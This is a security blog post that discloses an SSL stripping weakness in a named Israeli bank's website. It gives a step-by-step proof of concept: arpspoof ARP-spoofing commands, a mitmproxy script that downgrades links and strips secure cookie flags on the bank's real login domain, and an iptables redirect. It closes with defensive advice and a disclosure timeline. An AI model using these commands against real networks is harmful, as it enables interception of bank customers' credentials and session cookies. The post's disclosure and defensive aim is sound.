The Importance of Using HTTPS All The Way

Adventures with banks, security, and man-in-the-middle attacks

A few weeks ago, I was sitting next to my girlfriend while she was browsing the Internet. When she went to her bank’s homepage to log into her bank account, I noticed something missing: the famous “Lock” icon next to the URL! I refreshed the page several times to verify it wasn’t a mistake.

Typical Woof-in-the-Middle attack

Even though it is only the bank’s homepage that’s served over non-secure connection, and the actual sign in page is indeed served over a secure connection, this is still a big problem.

Let me show you why.

The Problem with Moving from HTTP to HTTPS

When someone wants to go to their bank’s website, they search for the bank name on Google (if you’d like to follow along, google “Bank Leumi”), have a bookmark set to the home page of their bank, or they simply type the URL into their browser (in this case, leumi.co.il).

Regardless of how you get there, you’ll be taken to http://www.leumi.co.il — note the HTTP at the beginning, not HTTPS.

Home page. Cyan button at top leads to the account sign in page

You might be thinking: so what if the home page in served over an insecure connection? As long as the actual sign-in page uses HTTPS, my data is protected, right?

Well, technically yes, unless an evil somebody makes sure it isn’t.

There is a famous man-in-the-middle (MITM) attack called SSL stripping, which basically says that in certain conditions, an attacker can cause the sign in page to be served over HTTP instead of HTTPS, thereby ruining the protections for your data.

How the Man in the Middle Could Steal Your Data

In this post, I’m going to show you a proof of concept (PoC) for how an evil hacker might exploit this vulnerability.

For this PoC, we’ll assume that the attacker and the affected user are using the same WiFi / LAN network. This is the attack scenario in a nutshell:

  1. The attacker sets up the Man in the Middle (MITM) attack.
  2. The user goes to the bank’s homepage, and gets a version modified by the attacker where all the HTTPS links are replaced with corresponding HTTP links.
  3. The user clicks on the Login link, and he gets the sign in page over HTTP. The attacker serves as a proxy and delegates all the requests to the actual bank servers over HTTPS. The attacker modifies the sign in page with some JavaScript to record and hijack the password (though I should say that at this step, there is a nice protection mechanism we’ll need to defeat — but more on this later).
  4. The user then enters their login credentials and hits submit. The details are sent over HTTP, through the attacker’s machine, before being submitted to the bank servers.

But What About the User: What Do They See?

Except for a slight delay, the user won’t notice a thing.

Basically, the user will see the same sign in page he is used to, except that the only difference is that there will be no “Secure lock” icon next to the page address inside the sign in page. (So a basic security reminder: when entering your credentials, always make sure the “Secure lock” is there.)

Unfortunately, in this scenario (moving from HTTP to HTTPS), even the presence of the lock does not guarantee security: all the attacker has to do is mimic the secure page. And this requires just a little more preparation.

Because the domain used for the authentication page (hb2.bankleumi.co.il) is different than the bank’s homepage (leumi.co.il), an attacker could register a similar-looking domain (such as hb2bankleumi.co.il or hb2.bankluemi.co.il) and then obtain a valid SSL certificate for it, thus getting a secure lock sign on the fake sign in page.

If the attacker takes this extra step, the user won’t see anything different unless they happen to notice that the signature on the SLL certificate isn’t what it should be.

Exploiting the Vulnerability

Exploiting this vulnerability requires some tools that are only available on Linux. Luckily, I always have a few Raspberry Pis lying around (they’re just so useful). In order to use the Raspberry Pi for this attack, you will need to connect the Raspberry Pi to the network with an Ethernet cable or use an external WiFi dongle (for some reason, the internal WiFi chip in the Raspberry Pi 3 does not work with one of the tools).

Of course, you don’t need to have a Raspberry Pi. The instructions would be similar if you have a recent version of Debian or Ubuntu Linux (again, just make sure it’s on the same network as the victim PC).

Fun Fact: I also ran this attack using a 9$ CHIP computer. It required some more tinkering with software, but it didn’t require any extra hardware. I find it absolutely amazing that you get something that is capable of doing this kind of stuff for only 9$… What a wonderful/terrifying time to be alive :-)

To execute the attack, we will primarily be using two tools:

  1. arpspoof— We will use this tool to divert the victim’s PC traffic through our machine, using a technique called ARP Spoofing
  2. mitmproxy — This tool will listen for HTTP requests coming from the victim and modify them according to rules we configure (this is what does the SSL stripping for us)

Step 0 — Install the Tools

First of all, we need to install arpspoof. It’s a part of the dsniff package, so we’ll just install that:

sudo apt-get install dsniff

Next, we need to install mitmproxy, which requires Python 3.5.

Unfortunately, at the time of writing, Raspberry Pi does not have a pre-built package for Python 3.5, so you will have to follow the instructions here and compile it from source code. The entire process should take around 15–20 minutes, depending on your SD card speed and network connection.

To install mitmproxy on the Raspberry Pi, we’ll need to set up an isolated Python environment and install some dependencies. To set up the environment, we’ll use virtualenv, which we can install by running:

sudo pip3 install virtualenv

Then we install some dependences:

sudo apt-get install libffi-dev libssl-dev libxml2-dev 
sudo apt-get install libxslt1-dev libjpeg62-turbo-dev zlib1g-dev g++

And now, we’re finally ready to install mitmproxy:

cd
virtualenv -p /usr/local/bin/python3.5 proxy
cd proxy
. bin/activate
pip install mitmproxy

I used mitmproxy version 0.18.2, but I imagine that newer versions will work as well.

Step 1 — Diverting the Victim’s Traffic

Now that we’re all set up, we can move to the first step of the attack where we divert the victim’s traffic to route through our machine.

Before we can actually divert the victim’s traffic though, we need to make sure that we actually handle the diverted traffic correctly and forward it to the network gateway (router). Otherwise, the victim will not be able to make any network connections, effectively disconnecting them from the Internet.

To do this, all we need to do is set up IP forwarding:

sudo sysctl -w net.ipv4.ip_forward=1

And now, let the traffic divert!

You need to open two different terminal windows (or you can use the screen utility). Run this command on the first terminal:

sudo arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP

And this one on the second terminal:

sudo arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP

Where VICTIM_IP is the IP address of the victim, and GATEWAY_IP is the IP address of the gateway. You may also need to change eth0 to a different name, such as wlan0 or wlan1, if you are using WiFi.

You can find the names of the network interfaces as well as the IP address of the gateway machine by typing ifconfig -a.

The commands above basically bombard both the Victim’s machine and the Gateway with ARP packets telling them that the destination IP of the other end actually belongs to the attacker machine. This is how the traffic diversion is achieved.

Now with the traffic diverted, we can start intercepting the data.

Step 2 — Setup SSL Stripping (So You Can Get the Victim’s Password)

We now have everything set up to actually perform the attack. All we need to do is supply mitmproxy with a script that will do the SSL stripping:

def request(flow):
host = flow.request.headers['Host']
if host == 'hb2.bankleumi.co.il':
flow.request.scheme = 'https'
flow.request.port = 443
def response(flow):
newcontent=flow.response.content.replace(b'https://', b'http://')
flow.response.content = newcontent
if "set-cookie" in flow.response.headers:
flow.response.headers.replace(b';secure', b'')

The first two lines in the response() function intercept all the HTTP responses, and replace all occurrences of https with http, effectively making sure all the links in the page returned to the client have zero security.

The next two lines of response() take care of removing the secure flag from any cookies sent by the server. This flag means that the browser will only send back these cookies over HTTPS, but since we sit in the middle, we can strip it and make sure that the browser will still send all the session cookies to the server, even over HTTP.

Finally, the request() function intercepts all the requests to the actual sign in page (which now go through us, as they are HTTP), and proxies them to the actual bank server over HTTPS. This means that the target server does not have to support HTTP: the request() function takes care of “upgrading” the incoming HTTP requests to HTTPS before they go to the target server.

You can save this script as sslstrip.py. Now, we just run mitmproxy with the script:

cd ~/proxy
. bin/activate
mitmproxy -T --host --anticache --insecure -s sslstrip.py

Step 3 — Redirecting Traffic Through mitmproxy and Executing the Attack

mitmproxy listens on TCP port 8080, but the HTTP connections that we want to intercept are received at port 80, so we need to set up our machine to redirect traffic from port 80 to port 8080. To do this, we’ll use iptables, a tool that controls the Linux kernel firewall.

After you get mitmproxy up and running, you can run the following command to redirect all HTTP traffic to go through the correct port:

sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

(note: the above is a single line of code)

Remember to change eth0 to the relevant network interface name.

After running the above command, you should start seeing all the HTTP traffic from the victim in mitmproxy:

mitmproxy in action — I went to example.com, then to linux.org

Now, if the victim goes to the bank site, then clicks the button that leads to the sign in page, fills in the details and logs into his bank account, you will actually be able to intercept the communication and get the username and the password.

Look ma, no HTTPS!
The “POST” request is where the sign in form is submitted
You thought I would give you my username and password? They are behind the red squares. The red square on top contains some of the cookie — which can also be considered sensitive information.

In a real-world scenario, the attacker would probably make the script more robust, instead of blindly replacing all occurrences of https:// with http:// in every site that the victim browser, which can interfere with some sites, it will target specifically the “interesting” page, and perhaps even just the relevant link on that page.

What Now? Securing Your Information and Websites

Now that you have seen how this vulnerability can be exploited, here are some rules you can follow to protect yourself, as a user:

  1. Avoid logging in to sensitive websites while using a public/unknown networks. That includes airports, hotels/hostels/AirBNBs, public cafés, any WiFi network that is not protected by password, etc. Even your network at work could be unsafe!
  2. When you log into your bank account or other sensitive site, stop for a moment, just before you type your password — double check if you see the lock sign, and if the domain name makes sense. Remember that an attacker can purchase a similar looking domain with an SSL certificate and use that for an attack — secure communication does not automatically mean you are talking with the right domain name.
    Note: starting next month, Chrome will actually assist with that!

As a website owner, the best thing you can do to safeguard your users against these attacks is to make sure you use SSL for all your pages, including your marketing pages.

A lot of users will come to your site through search engines or links you shared through social networks. By using HTTPS for the marketing page, you ensure that they are using a secure connection all the way — thereby avoiding having a weak point which can be exploited for the SSL stripping attack described above.

You should also enable HTTP Strict Transport Security (HTST), which tells the browser to always connect using HTTPS, even if the referring link used HTTP (e.g. if the user types http://leumi.co.il, the browser will automatically change the link to https://leumi.co.il, even before making the initial request).

Following the above steps will render the described attack useless, as all the communicating will be done securely and there will be no hooking point for the SSL stripping attack.

Encrypted Passwords: A Surprise Second Wall of Defense

The first time I ran the PoC attack, it worked like a charm, but on the second attempt (after some tinkering), it didn’t actually work: the password was encoded in some way. This made me curious.

I did a little digging and figured out that the password was actually encrypted as you type it. You can see it if you change the type of the field from password to text using Chrome Developer Tools and type some characters:

I only type “a”, but get different characters

I was able to get around this defense by injecting 5 lines of JavaScript code into the sign in page (it did take about an hour of research and lots of help from the Chrome Dev Tools), but in favor of protecting the privacy of the bank users, I am leaving the exact details outside the scope of this post.

This is actually a clever way to defend against some kind of attacks, but unfortunately it falls short against targeted MITM attacks such as the one described here. So before investing a lot of effort implementing proprietary security mechanisms, I strongly recommend that website owners first take advantage of of the widely available security strategies I described above.

A Call to Action and Final Words

I hope that this article will make users more cautious and double-check the secure lock and what site they are giving their precious credentials to.

In addition, if you are a user of a bank or other institution that does not use HTTPS for its homepage, please do share this article with them — it is their responsibility to ensure your account’s security, and this is the least they can do to make sure your credentials are safe.

Finally, I’d like to give a shout out to my friends Inbar Raz and Matan Scharf, who helped with the disclosure process and provided excellent suggestions and input on the organization and presentation of this post.


Disclosure Timeline and Process

I first contacted the bank’s CSO by phone on November 7th and explained the issue to him, and why I believe it can put the bank’s users at risk.

On November 9th, I sent the bank’s Abuse Team an email detailing the issue and outlining a possible attack scenario.

Nov 24th, I reached out to the Abuse Team to confirm that they received my previous email. They confirmed receipt of my note and said that the subject is under investigation.

Finally, on Nov 30th, I checked again and found that the issue hadn’t been fixed yet, so I sent them another email offering assistance in resolving the issue. I also updated them with regard to my intent to publish a blog post about an explanation of the issue and remediation tips for the users.

As of this writing, I have not heard from the bank about when they expect the issue to be resolved.